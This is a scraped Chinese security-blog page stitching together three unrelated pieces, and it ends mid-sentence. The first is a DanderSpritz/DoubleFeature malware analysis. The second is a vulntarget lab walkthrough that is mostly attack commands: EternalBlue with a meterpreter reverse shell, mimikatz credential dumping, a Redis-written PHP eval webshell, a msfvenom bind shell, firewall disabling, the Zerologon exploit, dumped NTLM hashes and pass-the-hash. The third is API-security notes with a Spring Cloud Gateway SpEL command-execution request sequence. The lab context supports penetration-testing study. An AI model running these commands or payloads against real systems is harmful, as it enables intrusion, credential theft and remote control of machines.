MAGR (MagicGrain) -0x437e528e8；

DODA (DoubleDare) -0x1C9D4A8A；

SAAN (SavageAngel) –0x9D801C63；

MOAN (MorbidAngel) –0x9D801C62；

DEWH (DementiaWheel)–0xAE37690B：黑客工具也稱為“Fanny”；

CHMU (ChinMusic) –0x39B2DA17；

MAMO (MagicMonkey) –0x2D473AB3；

MABE (MagicBean) -0x8675309 ：用於中間人的WiFi

DiveBarDiveBar（DiBa）是DoubleFeature對負責持久化方法（例如“KSLA”（KillSuit loader）、“SolarTime”、“JustVisiting”和“DoctorOcopus”）部分的命名。

我們上面提到的不同持久化方法有：

KSLA (Launcher)：只需在受害系統上安裝一個新的驅動程序並將其用於持久性。這種情況一直持續到微軟引入驅動程序簽名強制執行(DSE)，它不允許未簽名的驅動程序運行。 Windows Vista及以後版本不支持此方法。

JustVisiting (JuVi)：為了繞過DSE，這種持久性機制濫用了簽名驅動程序ElbyCDIO.sys 中的一個已知漏洞，該漏洞是RedFox 軟件“CloneCD”的一部分。在系統啟動時加載和利用易受攻擊的驅動程序。以這種方式獲得的提升權限會用於將DiveBar 的持久化驅動程序添加到LSAExtensionConfig/interfaces，此方法僅適用於Windows 8操作系統。

SolarTime (SoTi)：一種高級的持久性機制，通過修改一個受害者係統的VBR 來工作。僅與具有FVEBOOT 和特定引導扇區格式的NTFS 文件系統兼容。 SoTi 將引導扇區的哈希與下面列出的“已知良好”哈希列表進行比較。

15.png

如上所述，KillSuit 在受害者註冊表中保存了一個叫做“模塊存儲”的內容。根據註冊表的合法目的，惡意軟件使用註冊表來存儲簡單的配置數據；但隨著時間的流逝，越來越多的惡意軟件開始使用註冊表來存儲任意數據。這樣，註冊表就會包含模塊存儲的整個虛擬文件系統，該模塊存儲是通過連接兩個硬編碼字典中偽隨機選擇的兩個單詞生成的。第一個單詞的可能值列示如下：

16.png

第二個單詞的可能值：

17.png

卡巴斯基報導過的“GrayFish”的架構和KillSuit一樣：

18.webp.jpg

GrayFish 的架構

圖中資源與DiveBar資源一一對應：

102 – fvexpy.sys – F7F382A0C610177431B27B93C4C87AC1；

103 – mpdkg32.dll – 0182DBF3E594581A87992F80C762C099；

104 – BroughtHotShot driver – drmkflt.sys – 9C6D1ED1F5E22BF609BCF5CA6E587DEC/D3DF8781249F2C404C4935CA9FFB1155；

107 – New VBR (for SolarTime)；

110 – mpdkg64.dll – F01525C9EF763C49E28CEC6C2F6F6C60；

114 – Elby loader – fhsvcapi.dll – 6156E50571571B233019C4EBB472899D；

115 – Elby driver – AAA8999A169E39FB8B48AE49CD6AC30A；

DiveBar並不局限於濫用ElbyCDIO.sys，它還會搜索受害者設備上已經存在的易受攻擊的良性驅動程序，以用作託管插件代碼的“啟動器”。在內部，這種被DiveBar 選擇來啟動KillSuit 實例的良性驅動程序被稱為“thunk”。對於每個KillSuit 實例，DoubleFeature 都會報告用於加載其內核模式模塊的thunk 漏洞利用dll，簡稱KML（內核模塊啟動器）。

FlewAvenueFlewAvenue(FlAv)是一個IPv4驅動程序，為其他工具提供隱蔽的網絡訪問。它提供了不同的網絡功能，如DNS查詢和ICMP 回顯（“ping”）。

FlewAvenue 的指標如下：

“ntevt.sys”——此工具驅動程序的名稱

DuneMessiahDoubleFeature 診斷僅提供有關此工具的非常少的信息。對於此工具，DoubleFeature 報告了受害設備上的實例在內部使用的偽隨機生成的“事件名稱”，以及一些註冊的KillSuit 實例。

CritterFrenzyDoubleFeature 也僅報告有關此插件的最少信息，從DoubleFeature收集到的關於這個工具的信息來看，它似乎是KillSuit的另一個實例，可能是過去使用過，ID為333。

CritterFrenzy 指標如下：

“MPDKH32”——此工具的名稱

MistyVealMistyVeal (MV) 是一種“驗證器”植入程序，這意味著它用於驗證目標系統確實是真正的受害者，而不是檢測環境。它作為Internet Explorer 瀏覽器助手對象實現（這些通常用於擴展IE 功能；例如，Adobe 的IE 的Acrobat 插件就是一個瀏覽器助手對象）。 MistyVeal 也是Equation Group 最初的“Double Fantasy”植入程序的一部分，它是UnitedRake 的前身“netdlr.sys”——該工具驅動程序的名稱

MistyVeal指標如下所示：

{B812789D-6FDF-97AB-834B-9F4376B2C8E1} ——用於GUID和版本的MV CLSID

DiceDealerDiceDealer (DD) 是DiveBar 執行的所有安裝和卸載所產生的日誌數據的解析工具（這與UnitedRake有關，因為通常使用DiveBar來安裝它）。如果你想手動解析DiceDealer 日誌文件，最簡單的方法是將日誌文件複製到DiceDealerReader 工具所在的同一目錄中。讀取器依賴於該目錄中的幾個文件，如果它們不存在，將無法解析日誌。

PeddleCheapPeddleCheap ****(PC) 是最先在受害設備上運行的工具之一，可用於引導一次完整的DanderSpritz 安裝。 PeddleCheap 包含的功能非常少，允許攻擊者連接到受害設備並遠程安裝和配置允許進一步post-exploitation功能的植入程序，包括一個完整安裝DanderSpritz 框架。 PeddleCheap 通常通過多種方法注入到lsass.exe中，包括DOUBLEPULSAR 後門。

19.webp.jpg

PeddleCheap 用戶界面

PeddleCheap 指標如下：

{A682FEC0-333F-B16A-4EE6-24CC2BAF1185}——用於GUID和版本的PC CLSID

DoubleFeature 的Rootkit 控制流程

DoubleFeature (hidsvc.sys) 使用的rootkit 在加載時執行以下操作：

1.它創建了一個未命名的設備對象，但註冊了IRP 調度功能。

2.它分派IOCTL 請求。

3.它專門從事Windows 內核代碼的運行時修復。

4.它為用戶模式模塊運行內核API。

Rootkit 在加載到內存之前由用戶模式DLL 修復，這樣做是為了插入用戶模式進程的PID，以便rootkit 知道要隱藏哪個進程。然後，rootkit 通過KeAttachProcess 附加到這個相同用戶模式進程中。

Rootkit 使用HalAllocateCommonBuffer 或MmIsAddressValid 查找API 函數的動態地址（這些函數的地址是之前通過調用MmGetSystemRoutineAddress 獲得的）。它使用加密的堆棧字符串，這些字符串在需要使用的基礎上解密，並在使用後再次立即加密，類似於我們之前描述的DoubleFeature 用戶模式組件中使用的方法。

為了避免被檢測到，rootkit 還會盡可能隱秘地創建自己的驅動程序對象。首先，rootkit 不是直接創建對象，而是先創建Device\\NULL 的句柄，然後通過插入自己的名稱為driver\\msvss 的設備對象來劫持其FileHandle。最後，它使用此FileObject 發送IRP_MJ_Create 請求以獲得新創建的驅動程序對象的句柄。其次，rootkit 調用ObMakeTemporaryObject 並從其父對像管理器目錄中刪除對象的名稱，有效地將其與操作系統內部用於跟踪加載的驅動程序的結構斷開鏈接。由於Windows 操作系統處理驅動程序的方式，這會導致驅動程序在後台運行，而診斷工具和研究人員將無法找到驅動程序。

新設備的IRP_MJ_DEVICE_CONTROL 處理程序函數包含可以從用戶模式DLL 發送的不同IoControl 代碼（例如0x8589240c 用於截斷文件，0x85892408 用於在內核模式下執行API 調用並將輸出發送回用戶模式進程）。

HireHackking

网络配置

外网WIN7：ip1: 192.168.127.91/255.255.255.0 ,gw:192.168.127.2 （NAT模式）ip2:10.0.20.98-vmnet1(仅主机模式)域主机成员：10.0.20.99-vmnet1(仅主机模式)10.0.10.111-vmnet2(仅主机模式)域控：10.0.10.110-vmnet2(仅主机模式)密码配置：Win7：win7/adminwin2016：Administrator/Admin@123、vulntarget.com\win2016   Admin#123win2019：vulntarget.com\administrator   Admin@666

信息收集

扫描主机

arp-scan  -l扫描同一网段中的存活主机a0fgwy0hflv14995.png发现一个存活主机:192.168.127.91

扫描端口

扫描一下存活靶机的ip地址

nmap -sC -T4 192.168.127.91ca1b24ejxaw14997.png发现目标系统为win7,且开放了445端口，尝试利用永恒之蓝(ms17-010)打一波目标系统

内网主机渗透

在kali中输入命令：msfconsolemsf 6> search 17-010msf 6> use 0msf 6> set payload windows/x64/meterpreter/reverse_tcpmsf 6> set lport 6666msf 6> set lhost 192.168.127.129msf 6> set rhosts  192.168.127.91msf 6> run5ioxe4pagvk14998.pngmeterpreter>shell  C:\Windows\System32>ipconfigy4y22uskfhs15000.png发现有些乱码，直接在设置一下
C:\Windows\System32>CHCP 65001     #65001 UTF-8代码页C:\Windows\System32>ipconfig  #发现有两个网段，一个是192.168.127的网段，另一个就是10.0.20网段bvpapnvephh15001.pngC:\Windows\System32>whomai  #查看当前用户得权限为system权限byfoge1rxil15002.pngC:\Windows\System32>tasklist/svc  #查看进程，发现系统中没有杀软2bj5b0farrc15005.pngC:\Windows\System32>exit #退出shell命令终端tige3tyfsc515006.pngmeterpreter>load kiwi  #加载mimikataz模块meterpreter>creds_all  #获取当前所有用户得登录凭证，发现用户名为win7，密码为：adminz4b5cwupf1x15007.png


Web渗透

直接访问,http://192.168.127.91/,发现是通达OAxx3jkhcqqrg15016.jpg查看通达OA的版本号，当前版本为11.3http://192.168.127.91/inc/expired.php xsbd50npz5r15017.png通过搜索引擎搜索通达11.3存在文件包含漏洞参考地址：https://blog.csdn.net/hackzkaq/article/details/115900500这里使用一键图形化工具获得webshelljlm43op0gga15020.png使用蚁剑连接成功c4qa1n5rsgq15021.pngpfmfnjiojob15023.png同样在蚁剑的命令终端下查看当前用户的权限为system权限yosahnkciwi15026.png

横向渗透

进程迁移获得shell时，该shell是极其脆弱，所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起，而不需要对磁盘进行任何写入操作，这样使渗透更难被检测到。自动迁移进程命令（run post/windows/manage/migrate）后，系统会自动寻找合适的进程然后迁移meterpreter > run post/windows/manage/migrate   #从1080的spoolsv.exe迁移到了noepad.exe的4800进程jb5pdpgnh2z15029.png查看本地网络连接子网段meterpreter > run  get_local_subnetsc3eytl5strj15030.png添加一条动态路由meterpreter > run autoroute -s 10.0.20.0/24或者meterpreter >backgroundmeterpreter >sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/multi/manage/autoroutemsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >runfa4y1aafyly15033.pngmeterpreter >backgroundhxcmga0kttq15035.png发现存活主机msf6 exploit(windows/smb/ms17_010_eternalblue) >use post/windows/gather/arp_scannermsf6 exploit(windows/smb/ms17_010_eternalblue) >set session 1msf6 exploit(windows/smb/ms17_010_eternalblue) >set rhosts 10.0.20.1-254msf6 exploit(windows/smb/ms17_010_eternalblue) >runyevrqfxnamq15037.png发现了另一台存活主机10.0.20.99开启socks5代理
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > runns4dvm3hmpk15039.pnggkcfnscnqdd15041.png

端口扫描

首先先要需要修改/etc/proxychain4.conf配置文件

vim   /etc/proxychains4.confsocks5  127.0.0.1  1080通过nmap扫描目标IP的常用端口proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080ek0lz3sui3q15043.png发现10.0.20.99主机开放了6379和80端口这里使用本地socks5代理客服端proxifier软件ijsoqdqxvgb15045.png通过dirsearch进行扫描，发现目标存在phpinfo.php敏感信息页面python3   dirsearch.py  -l url.txt  -t 10  -e *   -i 200,302  --format csv -o C:\Users\backlion\Desktop\dirsearch-master\xxx.com.csv或者攻击机kali下执行
proxychains python dirsearch.py -u http://10.0.20.99 -i 200
proxychains dirsearch -u “http://10.0.20.99” --proxy=socks5://127.0.0.1:1080 -t 5
rzvnfdm2esr15046.png访问phpinfo.php页面发现暴露了网站的绝对路径：C:/phpStudy/PHPTutorial/WWW/http://10.0.20.99/phpinfo.php rik4o3lxuqy15050.png
http://10.0.20.99/l.php1s2qjz3azo415053.png

Redis未授权访问

通过 redis-cli 命令可无密码进行远程连接proxychains redis-cli -h 10.0.20.99lx2moizdnzh15055.png

Redis写入webshell

10.0.20.99:6379> CONFIG set dir "C:/phpStudy/PHPTutorial/WWW/"  #切换到可写入shell的绝对路径10.0.20.99:6379> set x "\n\n\n<?php @eval($_POST['x']);?>\n\n\n"   #写入一句话木马10.0.20.99:6379> config set dbfilename shell.php  #设置文件名为shell.php10.0.20.99:6379> savehwafyuszvj115057.png这里通过本地主机上的蚁剑设置代理，且连接webshell0jsc4w0rhjo15058.png
zym13fdu4oj15060.pngdvwmhw1chnl15061.png查看当前用户权限为syestemfeosdllk2kp15062.png

上传MSF后门

生成正向shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=3333 -f exe > shell.exeyg2upi02tri15065.png使用蚁剑上传shell.exe到10.0.20.99，并执行ktfcmx1txbf15066.png

配置监听器

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 3333set RHOST 10.0.20.99runlysu35c1pjc15067.png
关闭防火墙
netsh firewall set opmode mode=disable
4ykyxdcd4sz15068.png蚁剑命令终端中运行shell.exedfkttzy4rtp15070.jpg收集同网段主机meterpreter > arps4jkgaqpnnd15071.png扫出10.0.10.110网段迁移进程
run post/windows/manage/migrate
yaii4gfb52x15078.pngmeterpreter > sysinfo5vzoisyzmqb15079.pngmeterpreter > shell3xfcupz0f4r15080.pngC:\phpStudy\PHPTutorial\WWW>CHCP 65001jyjbvykpde215081.png收集IP信息C:\phpStudy\PHPTutorial\WWW>ipconfig/alln0it1iwzywl15083.pngwa3jqkkj24i15084.png有域存在，查看域控计算机名C:\phpStudy\PHPTutorial\WWW>net group "domain controllers" /domaind0pwli0hxll15086.png查看域管理员C:\phpStudy\PHPTutorial\WWW>net group "enterprise admins" /domaingouy4oeoflo15090.png
域提权
添加路由meterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -p4r0ohgnjpr115093.pngmeterpreter > run post/windows/gather/enum_domaindodaqcwfey115098.pngproxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139pboygz5el1k15104.png下载impacket包，并进行安装git clone https://github.com/SecureAuthCorp/impacketcd impacketpython3 -m pip install -r requirements.txtpython3 -m pip install .下载CVE-2020-1472EXPgit clone  https://github.com/dirkjanm/CVE-2020-1472.gitcd CVE-2020-1472执行EXPproxychains python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110miwkpurrdhx15108.png获取域管理员hashcd  /opt/impacket/examplesproxychains python3 secretsdump.py vulntarget.com/WIN2019\$@10.0.10.110 -no-passi1pxt5rfi3x15114.pngAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b346f110b587e1d1d1936:::vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e:::WIN2019$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WIN2016$:1602:aad3b435b51404eeaad3b435b51404ee:d0b248a756f62bbef5b286c7be19c7a9:::[*] Kerberos keys grabbedAdministrator:aes256-cts-hmac-sha1-96:70a1edb09dbb1b58f1644d43fa0b40623c014b690da2099f0fc3a8657f75a51dAdministrator:aes128-cts-hmac-sha1-96:04c435638a00755c0b8f12211d3e88a1Administrator:des-cbc-md5:dcc29476a789ec9ekrbtgt:aes256-cts-hmac-sha1-96:f7a968745d4f201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311krbtgt:aes128-cts-hmac-sha1-96:f401ac35dc1c6fa19b0780312408cdedkrbtgt:des-cbc-md5:10efae67c7026dbfvulntarget.com\win2016:aes256-cts-hmac-sha1-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61vulntarget.com\win2016:aes128-cts-hmac-sha1-96:6da7e9e046c4c61c3627a3276f5be855vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58WIN2019$:aes256-cts-hmac-sha1-96:092c877c3b20956347d535d91093bc1eb16b486b630ae2d99c0cf15da5db1390WIN2019$:aes128-cts-hmac-sha1-96:0dca147d2a216089c185d337cf643e25WIN2019$:des-cbc-md5:01c8894f541023bcWIN2016$:aes256-cts-hmac-sha1-96:414bc47994e3bf616da9e115ba8c7e528ce17315734337479d6f67df3ca6e682WIN2016$:aes128-cts-hmac-sha1-96:8b30d9d37e7f7f474124382d2fe75950WIN2016$:des-cbc-md5:6d97313875e362c8拿到管理员hash，执行提权exp
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15  Administrator@10.0.10.110
34u5karvuja15120.png开启3389远程桌面端口：reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
直接3389登录：proxychains  rdesktop 10.0.10.110
账号：balsec.com\administrator   密码：Admin@666
ypd0pruzobk15124.jpg




		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			

				

					
					
					
						
						API安全学习笔记
					
					

				

				
			

		

	

	

		

			
必要性
前后端分离已经成为web的一大趋势，通过Tomcat+Ngnix(也可以中间有个Node.js)，有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务（多种客户端，例如：浏览器，车载终端，安卓，IOS等等）打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。
本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中，如有错误，还望各位斧正。
常见的api技术
GraphQL
GraphQL 是一个用于 API 的查询语言
通常有如下特征：
（1）数据包都是发送至/graphql接口
i5q1xrdo00t14878.png
（2）其中包含了很多换行符\n
{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}
SOAP-WSDL
WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application，他将Web服务描述定义为一组服务访问点，客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问
走的是SOAP协议，一般发送的xml格式的数据，然后会有WSDL文件
mnzi1koomer14880.png
.net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl
2yjagpphib414882.png
我们可以使用soapui对这类api进行测试
WADL
文件里面有很明显的wadl标志
pxjy1moafwg14885.png
同样也可以用soapui的rest功能进行测试
3mjwtmpkcwg14888.png
REST
rest api并不像前面几种那种特征明显，也是如今使用最多的一种api技术
REST 是一组架构规范，并非协议或标准。API 开发人员可以采用各种方式实施 REST。

当客户端通过 RESTful API 提出请求时，它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输：JSON（Javascript 对象表示法）、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言，尽管它的名字英文原意为“JavaScript 对象表示法”，但它适用于各种语言，并且人和机器都能读。 

还有一些需要注意的地方：头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要，因为其中包含了请求的元数据、授权、统一资源标识符（URI）、缓存、cookie 等重要标识信息。有请求头和响应头，每个头都有自己的 HTTP 连接信息和状态码。
获取端点的方式
对于api的一些安全测试，通常关注api的权限问题，api端点和基础设施的安全问题。
要测试api端点的安全问题，肯定得尽量获取多的api端点
swagger api-docs泄露
Swagger 是一个规范和完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务
常见指纹：
# swagger 2
/swagger-ui.html
/api-docs
/v2/api-docs

# swagger 3
/swagger-ui/index.html

yerttrtwhtt14891.png
/api-docs
/v2/api-docs
/v3/api-docs
...

api-docs可泄露所有端点信息
5uffwon2kqt14893.png
这里推荐两个工具进行测试
第一个是swagger-editor
https://github.com/swagger-api/swagger-editor
下载之后打开index.html就可以用，可以选择导入或者远程加载url，支持json和yaml格式的api-docs
vm2xmmvrsag14900.png
第二个是apikit https://github.com/API-Security/APIKit
burp插件
z5wxc4lrzru14902.png
graphql内省查询
获取所有端点信息
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}
bgfiloukh5g14906.png
我们可以用这个生成接口文档：
https://github.com/2fd/graphdoc
需要nodejs test.json是刚刚内省查询返回的json格式数据
npm install -g @2fd/graphdoc
graphdoc -s ./test.json -o ./doc/schema

然后我们打开生成的/doc/index.html
nsfcxpadql214910.png
根据他这个格式构造数据包就行了
2vddjci5pgj14913.png
5szkdidbhxj14916.png
其他
在黑盒测试中，很大一个问题就是api端点找得不够全，我们需要从对应的应用或者从其他方面找
（1）web
js html等静态资源可以有一些api端点
burp插件JS LinkFinder可以被动收集
（2）app和其他客户端应用
（3）github
（4）根据规律fuzz
鉴权方式
Basic Auth
每次请求API时都提供用户的username和password
通常在http数据包中有一个Authorization头
Authorization: Basic base64(username:password)

这个安全性比较低，现在很少用到
JWT
jwt（json web token）是一种基于 Token 的认证授权机制
分为三部分
  • Header : 描述 JWT 的元数据，定义了生成签名的算法以及 Token 的类型。
  • Payload : 用来存放实际需要传递的数据
  • Signature（签名） ：服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法（默认是 HMAC SHA256）生成 防止 JWT被篡改
计算方式 加密算法( base64(header) + "." + base64(payload), secret)
h2vfsjekknj14920.png
在线测试https://jwt.io/
i1wirv30jir14924.png
普通token需要后端存储与用户的对应关系，而JWT自身携带对应关系
其他自定义头、cookie
诸如apikey 或者随机生成的其他形式的token
常见安全问题及测试方法
api网关
API 网关是一个搭建在客户端和微服务之间的服务，我们可以在 API 网关中处理一些非业务功能的逻辑，例如权限验证、监控、缓存、请求路由等。

API 网关就像整个微服务系统的门面一样，是系统对外的唯一入口。有了它，客户端会先将请求发送到 API 网关，然后由 API 网关根据请求的标识信息将请求转发到微服务实例。
xgngpyvzuqh14927.png
apisix
Apache APISIX 是 Apache 软件基金会下的云原生 API 网关，它兼具动态、实时、高性能等特点，提供了负载均衡、动态上游、灰度发布（金丝雀发布）、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间的东西向流量。同时，它也支持作为 K8s Ingress Controller 来使用。
apisix之前爆出过一个命令执行漏洞CVE-2022-24112 （目前最新版本是3.0）
影响范围：
Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ）
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）
搭建漏洞环境
git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务
利用条件
batch-requests插件默认开启状态。
用户使用了 Apache APISIX 默认配置（启用 Admin API ，使用默认 Admin Key 且没有额外分配管理端口），攻击者可以通过 batch-requests 插件调用 Admin API 。
攻击思路
1、利用batch-requests 插件漏洞、绕过请求头检测；
2、通过伪造请求头、向Admin API 注册路由；
3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞
exp：
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
e3gkxjzre3p14931.png
uejylvsyayz14944.png
Spring Cloud Gateway
Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件
当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击
影响版本
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
这个漏洞本身是一个SpEL注入
攻击方法：
第一步 添加路由 value参数传入了执行cmd的el表达式
POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx.com:9090
User-Agent: xxx
Content-Length: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close

{
  "id": "AAAAAAAAAAAAAAAA",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream()))}"
    }
  }],
  "uri": "http://xxx.com:9090/test/actuator/"
}
第二步 刷新配置
POST /test/actuator/gateway/refresh HTTP/1.1
Host: xxx:9090
User-Agent: xxx
Content-Length: 0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
第三步，获取命令执行结果
GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxxx:9090
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close
清除痕迹：
DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close
traefik
这个倒是没爆出过什么漏洞，实战中遇到过几次dashboard存在未授权访问的情况，
nxnau4wmhog14950.png
这个dashboard没法直接部署容器啥的
但是可以从它http->http routers这里看到一些路由转发规则，比如host path，对于后续的渗透有一些帮助，可以知道一些二级目录和域名
还有其他页面比如http services会泄露一些内网ip等等
actuator
未授权访问
默认只开放 health
fdnyb1fzgdi14953.png
如果在application.properties添加了
management.endpoints.web.exposure.include=*

或者application.yml添加
management:
  endpoints:
    web:
      exposure:
        #默认值访问health,info端点  用*可以包含全部端点
        include: "*"
  endpoint:
    health:
      show-details: always #获得健康检查中所有指标的详细信息
则会暴露所有端点(endpoints)
此时这些端点就存在未授权访问
rri5gzzy0it14955.png
利用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit
这里不再重复提及
heapdump获取shiro key
测试环境：https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro
ycieplzvrwp14959.png
下载heapdump /actuator/heapdump
hrhrhtodp0w14962.png
jvisualvm.exe：Java自带的工具，默认路径为：JDK目录/bin/jvisualvm.exe
打开heapdump， 搜索org.apache.shiro.web.mgt.CookieRememberMeManager
o1lgqqir2sn14964.png
然后双击这个类，找到key，右边是key的值
5vg1iqk0vgc14966.png
wvmm3doiyiw14968.png
复制
-83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111

转换的python脚本：
import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111)))

kipsieiowdl14971.png
或者使用https://github.com/whwlsfb/JDumpSpider/releases
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump
o5uj2z4woij14973.png
后端代码安全问题
api后端的应用也是由代码写出来的，各种web安全问题依旧会存在，比如sql注入 文件上传等等，这里提一个遇到比较多的越权问题和一个比较有意思的xxe漏洞
越权
（1）参数污染
为单个参数提供多个值
GET /api/user?id={userid}
=>
